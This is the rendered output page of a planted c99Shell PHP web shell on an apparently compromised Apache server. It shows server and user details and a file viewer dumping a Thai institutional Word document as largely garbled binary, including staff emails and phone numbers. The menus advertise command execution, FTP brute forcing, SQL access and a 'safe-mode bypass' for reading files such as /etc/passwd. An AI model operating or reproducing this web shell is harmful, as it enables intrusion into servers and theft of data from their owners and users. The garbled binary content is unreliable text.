!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/documentsTmp/   drwxrwxrwx
Free 40.64 GB of 127.8 GB (31.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     20180228_135307-496-108dfdfc973cb40b0de23bc0dcc3cf94-27.doc (36.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
ࡱ>	DFC_	N'bjbj	46bbgL`z'tL&&&&&&&$.*,H'-'4'.&&#|U%`Y$&J'0z'k$(-g(-$U%(-U%x''z'(-6:	
*4H5H*H!2I'" 2

A-#12##0
8!
B#2#122I-!9%2#3142!2#4142A%0#0@!4%-@#7-H2"'4"2%1"C*11
*21#0#!#2

   20'1--@	5"@+7-
*************************************************


7H- (2"/2/2*2')...................................................2!*8%.....................................................
3A+H ...................................................................... +H'"2 ..................................................................
B#(1L& & & & & & & & & & .& & & ..B#*2#& & & & & & & & & & & & .Email& & & & & & & & & & & & & & ..& & & & 

7H- (2"/2/2*2')...................................................2!*8%.....................................................
3A+H ...................................................................... +H'"2 ..................................................................
B#(1L& & & & & & & & & & .& & & ..B#*2#& & & & & & & & & & & & .Email& & & & & & & & & & & & & & ..& & & & 

7H- (2"/2/2*2')...................................................2!*8%.....................................................
3A+H ...................................................................... +H'"2 ..................................................................
B#(1L& & & & & & & & & & .& & & ..B#*2#& & & & & & & & & & & & .Email& & & & & & & & & & & & & & ..& & & & 

7H- (2"/2/2*2')...................................................2!*8%.....................................................
3A+H ......................................&(*0NP		&	*	T	иnVA-A-A&h-hR5CJ OJQJ\^JaJ )h-hR5CJ OJQJ\^JaJ .h3~h5CJ KH OJPJQJ\^JaJ 1h3~h5CJ KH OJPJQJ\^JaJ 1h3~h|"05CJ KH OJPJQJ\^JaJ .h3~hR5CJ KH OJPJQJ\^JaJ .hRhR5CJ KH OJPJQJ\^JaJ 1hRhR5CJ KH OJPJQJ\^JaJ +h@{5CJ KH OJPJQJ\^JaJ (*P	V			

PZ$dfgdRgd
&FgdRgdRD$a$gdR$a$gdR$a$gdT	V					




bdvx (иwwbwLwLwbwb7b(h3~hRCJ KH OJPJQJ^JaJ +h3~hpVCJ KH OJPJQJ^JaJ (h3~hCJ KH OJPJQJ^JaJ +h3~hCJ KH OJPJQJ^JaJ +h3~hRCJ KH OJPJQJ^JaJ (h3~hJ$CJ KH OJPJQJ^JaJ .h3~hJ$5CJ KH OJPJQJ\^JaJ .h3~h5CJ KH OJPJQJ\^JaJ .h-hR5CJ KH OJPJQJ\^JaJ (,8l|



PXZhj"$24
f몒몒몐xx.	jh3~hCJ KH OJPJQJ^JaJ U.h3~hR5CJ KH OJPJQJ\^JaJ +h3~hRCJ KH OJPJQJ^JaJ (h3~hCJ KH OJPJQJ^JaJ +h3~hCJ KH OJPJQJ^JaJ (h3~hRCJ KH OJPJQJ^JaJ /................................ +H'"2 ..................................................................
B#(1L& & & & & & & & & & .& & & ..B#*2#& & & & & & & & & & & & .Email& & & & & & & & & & & & & & ..& & & & 

!5'2!#0*L 
	(
 -#1@I2#H'!#0
8!
	(
 
D!H*2!2#@I2#H'!#0
8!DI
          (
 D!H*2!2#@I2#H'!#0
8!DIA%0DI*H9IA!2 7- ...........................................

7H- (2"/2/2*2')...................................................2!*8%.....................................................
3A+H ...................................................................... +H'"2 ..................................................................
B#(1L& & & & & & & & & & .& & & ..B#*2#& & & & & & & & & & & & .Email& & & & & & & & & & & & & & ..& & & & 

+!2"@+8  B#*HA-#12##0
8!%1!2"1 %8H!2"8(2*#LA%0#018 22#(6)2 
 %8H!#4+2#A%0"8(2*#L  -.5#0'##  (#51#LD
"     E-Mail :  HYPERLINK "mailto:jeerawan@smnc.ac.th%20A%0" jeerawan@smnc.ac.th
                                   2*2''
4# #L  A*0'1   E-Mail :  HYPERLINK "mailto:wachiraporn@smnc.ac.th" wachiraporn@smnc.ac.th
               		    2*2'(#51#L  -B#L   E-Mail :  HYPERLINK "mailto:srijun@smnc.ac.th" srijun@smnc.ac.th
+!2"@%B#*2# 043-722-404 
               2"C'15H  5  !52!  2561 
 +2!5I-**1"#02#C#824H-
             	 2(#51#L  -B#L  B# 043-711-411 H- 109, 089-9409401 
		 E-Mail :  HYPERLINK "mailto:srijun@smnc.ac.th" srijun@smnc.ac.th


!!!8!D!!!!!ӽzeeeeM41h3~h5CJ KH OJPJQJ\^JaJ .h3~h5CJ KH OJPJQJ\^JaJ (h3~hRCJ KH OJPJQJ^JaJ .h3~hR5CJ KH OJPJQJ\^JaJ +h3~hRCJ KH OJPJQJ^JaJ (h3~hCJ KH OJPJQJ^JaJ +h3~hCJ KH OJPJQJ^JaJ .	jh3~hCJ KH OJPJQJ^JaJ (h3~h?CJ KH OJPJQJ^JaJ !!!D"P#h$R%%%$&&L'N'gdR
&FgdRgd!!!!B"D""""""#$#&#L#N#P########6$8$d$Ӿ|iUDi h3~CJ OJQJ^JaJ o('jh*g0JCJ OJQJU^JaJ $h3~hR0JCJ OJQJ^JaJ 	h*gh*gjh*gUh3~CJ OJQJ^JaJ  h3~hRCJ OJQJ^JaJ #h3~hRCJ OJQJ^JaJ (h3~hsiCJ KH OJPJQJ^JaJ +h3~hRCJ KH OJPJQJ^JaJ +h3~h7XCJ KH OJPJQJ^JaJ d$f$$$$$$$*%,%N%P%R%n%v%%%%%{eeP8.h3~h5CJ KH OJPJQJ\^JaJ (h3~hCJ KH OJPJQJ^JaJ +h3~hCJ KH OJPJQJ^JaJ $h3~hR0JCJ OJQJ^JaJ h*gjh*gU h3~hRCJ OJQJ^JaJ +h3~hRCJ KH OJPJQJ^JaJ (h3~hRCJ KH OJPJQJ^JaJ (h3~hsiCJ KH OJPJQJ^JaJ 'jh*g0JCJ OJQJU^JaJ %%%%%%%%%%%%"&ʹbIb3+h3~hCJ KH OJPJQJ^JaJ 1h-5B*CJ KH OJPJQJ\^JaJ ph:h3~h5B*CJ KH OJPJQJ\^JaJ ph1h5>*CJ KH OJPJQJ\^JaJ o(4h3~hR5>*CJ KH OJPJQJ\^JaJ 1h3~hd5>*CJ KH OJPJQJ\^JaJ 4h3~h5>*CJ KH OJPJQJ\^JaJ .h3~h?5CJ KH OJPJQJ\^JaJ "&$&4&<&>&@&B&p&z&&&&&&&Ѽ}gQg;gQ}%+h3~hCJKH OJPJQJ^JaJ+h3~hsiCJ KH OJPJQJ^JaJ +h3~hCJ KH OJPJQJ^JaJ +h3~hRCJ KH OJPJQJ^JaJ (h3~hCJ KH OJPJQJ^JaJ (h3~h3~CJ KH OJPJQJ^JaJ (h3~hJ$CJ KH OJPJQJ^JaJ (h3~h?CJ KH OJPJQJ^JaJ (h3~hCJ KH OJPJQJ^JaJ 1h3~hB*CJ KH OJPJQJ^JaJ ph&&&&$'&'H'J'L'N'Խ hJ$hCJOJQJ^JaJ(h3~hCJKH OJPJQJ^JaJ'jh*g0JCJ OJQJU^JaJ $h3~h3~0JCJ OJQJ^JaJ h*gjh*gU h3~h3~CJ OJQJ^JaJ #h3~h3~CJ OJQJ^JaJ 	21}:p. A!"n#n$n%^2 0@P`p2( 0@P`p 0@P`p 0@P`p 0@P`p 0@P`p 0@P`p8XV~_HmH	nH	sH	tH	L`LcNormal$CJPJ^J_HaJmH	nHsH	tHZ@ZC	Heading 1$<@&5CJ KH OJPJQJ\aJ(DA D
Default Paragraph FontRiR
0Table Normal4
l4a(k (
0No List6U`68]\	Hyperlink>*B*ph^o^CHeading 1 Char*5CJ KH OJPJQJ\^JaJ(nHtH.X`.CEmphasis6]FV`!FRFollowedHyperlink>*B*phD@2DGEBalloon TextCJOJ	QJ	aJVoAVGEBalloon Text CharCJOJ	PJQJ	^JnHtHPK![Content_Types].xmlN0EH-J@%ǎǢ|ș$زULTB l,3;rØJB+$G]7O٭V<a(7IR{pgL=r85v&uQ뉑8CX=$␴?6NJCFB.ʹ'.+YT^e55 ð_g -;Ylݎ|6^N`?[PK!֧6_rels/.relsj0}Q%v/C/}(h"O
= C?hv=Ʌ%[xp{۵_Pѣ<1H0ORBdJE4b$q_6LR7`0̞O,En7Lib/SeеPK!kytheme/theme/themeManager.xmlM
 @}w7c(EbˮCAǠҟ7՛K
Y,
e.|,H,lxɴIsQ}#Ր ֵ+!,^$j=GW)E+&
8PK!iB;otheme/theme/theme1.xmlYo5G}k&]S-4ulhyO.o= x
&m4H!ssV&gkKCGUx!K~ջn[T8b#RDz|"^U		\U/P*^]X>cy$!V(]nCxx4GߎGǣƏ4tף>R
DJLlwr(L=̪mr[ya`[XWELYY4d]hx~g´,U.lLSFQo'>hje,5WfdҮʅ_RʕDKԀ~\Z_td|^/;x|Be
(`4ڝAk6		f.|+>EA4LKH͋	
dXaLz؇ #(*;˙!I_XUwb	3OÃG?޹sx%Q?wy=o,/_藟?BLy=xǿ7.p'oӐHtb*#N`]%C}uYGq-xC@5
@Ηnqj\Z1s{A^:614,qf8RO"㻄hwRǮ[\B7)ak684]IC0OgcYdEBV`#|0njoa6YW
l
5O	%R歹&@ߌ/cXnbE
Ewh^g|0öhdo]Qʃoq7C3Gs}W4
=3ڗP
1Pm]9{9uؓ2aH;Zt\t_s7 &z;/OZhʮlSlZpnܣԐ+4n:sx$SϤ;f
\KU
p
vD2!ݗ(vf8C챰Hx/\0!cv9|42[_YQubnE#)uY`pbMh@-`e8kp0tޛx,]$%޳>*'bn vr|yX-íɾ8)ˮ4]꽗RS/=,&'~իq\zpa^ìF6MfSoVR$(5NTX64T,Ҝe0Y)`#XZ`פ;%Uٙm;R>PD>각~OJ0A?=rst+NʭN4-Dt˕(wzULʟ*0)Xjp+0ZP*o
hLhXf-Ȟ9giڡ}$(G*lCY2wbwY,!d"*#GX[e{(P7$)w4$:}dͩ!?d:lsvU,Oެ"zbfҬfpʭV˩pYapp߃?}376߁ڊE&aQ}6HH;؁`ҤiI[-ݬϸӝ=bl-I}JcO3giŽ\Sg(҃qy};p?`J`wJC2yo9kPK!
ѐ'theme/theme/_rels/themeManager.xml.relsM
0wooӺ&݈Э5
6?$Q
,.aic21h:qm@RN;d`o7gK(M&$R(.1r'JЊT8V"AȻHu}|$b{P8g/]QAsم(#L[PK-![Content_Types].xmlPK-!֧60_rels/.relsPK-!kytheme/theme/themeManager.xmlPK-!iB;otheme/theme/theme1.xmlPK-!
ѐ'	theme/theme/_rels/themeManager.xml.relsPK]
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>g6
T	(!d$%"&&N'

N'#	R	f				.
U
g
+RdgXXXXL#@0(	
B
S	?					i'(bcBCbc,-
,-qs#$CDg				
h
i






$*i3i$ A'/ Az( A#%J AO A4n A^`5o(.^`.pL^p`L.@^@`.^`.L^`L.^`.^`.PL^P`L.^`5o(.^`.pL^p`L.@^@`.^`.L^`L.^`.^`.PL^P`L.^`5o(.^`.pL^p`L.@^@`.^`.L^`L.^`.^`.PL^P`L.^`5o(.^`.pL^p`L.@^@`.^`.L^`L.^`.^`.PL^P`L.^`5o(.^`.pL^p`L.@^@`.^`.L^`L.^`.^`.PL^P`L.^`5o(.^`.pL^p`L.@^@`.^`.L^`L.^`.^`.PL^P`L.'/4nz($O#%J																																																						X{sim.
;g6kI&1GE*g|QUg ~#J$=Z$J%|a%!h&j(I)`+|"0+1f3mt6Pz7rV?RDozPZSpVsV9Y8]\_bco
c:dnYs:wMy'l"?JGgoAG'C
l*JW
%`5~ 3~Z.G[@{g72`N?L:P7X=X5k
("-dRlA6gi@(gUnknownG.Cx	Times New Roman5Symbol3.*Cx	Arial=.Cordia NewC&oZ PTH SarabunITYC&oZ PTH SarabunPSKG
	MS Mincho-3 fg?Angsana New7@Cambria5"TahomaACambria Math"hubgubgbg		nx20bbB HP		?jc2!
xxC-#1Ongpppp$Oh+'0D	

$,4<j㺵ͺѺOngNormalpppp2Microsoft Office Word@@\J@t`@t`	՜.+,D՜.+,4hp|
jb	㺵ͺѺTitle 8@_PID_HLINKSjAd	mailto:srijun@smnc.ac.thdmailto:srijun@smnc.ac.th2[mailto:wachiraporn@smnc.ac.thPG!mailto:jeerawan@smnc.ac.th%20A%0	

 !"#$%&'()*+,-./012456789:<=>?@ABERoot Entry	FЬ`G1TableL-WordDocument46SummaryInformation(3DocumentSummaryInformation8;CompObjr
	F Microsoft Word 97-2003 Document
MSWordDocWord.Document.89q

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0113 ]--